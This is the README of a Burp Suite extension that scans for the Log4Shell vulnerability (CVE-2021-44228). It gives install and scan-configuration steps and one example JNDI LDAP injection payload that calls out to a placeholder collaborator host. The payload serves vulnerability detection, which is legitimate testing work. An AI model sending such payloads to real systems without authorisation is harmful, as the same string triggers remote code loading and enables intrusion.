Burp extension to scan Log4Shell (CVE-2021-44228) vulnerability with custom payloads.
Disclaimer
I am not responsible for your actions, burp-suite freezing, target getting hacked, thermonuclear war, or the current economic crisis caused by you following these directions. YOU are choosing to use this tool, and if you point your finger at me for messing anything up, I will LMAO at you.
Instructions:
Install the extension either from pre-compiled releases or build from source.
Disable/Uncheck all other active scanning extensions like active scan++, burp bounty pro, param-miner etc.
From Top-Menu open settings of Log4J Scanner.
Add your custom payload and save settings.
Select your target > right-click > Scan.
Select Scan Configuration > Select from library
Only select Audit checks - extensions only and hit OK button.
Special thanks to Silent Signal, instructions and scan configurations are inspired from his extension.
Important instructions to remember:
In your custom payload DO NOT add your collaborator url, just add [collaborator-server] as a placeholder,
[collaborator-server will be replaced by your collaborator server url itself.
Example payload: "${jndi:ldap://[collaborator-server]/a}
0xdexter0us/log4j-scanner
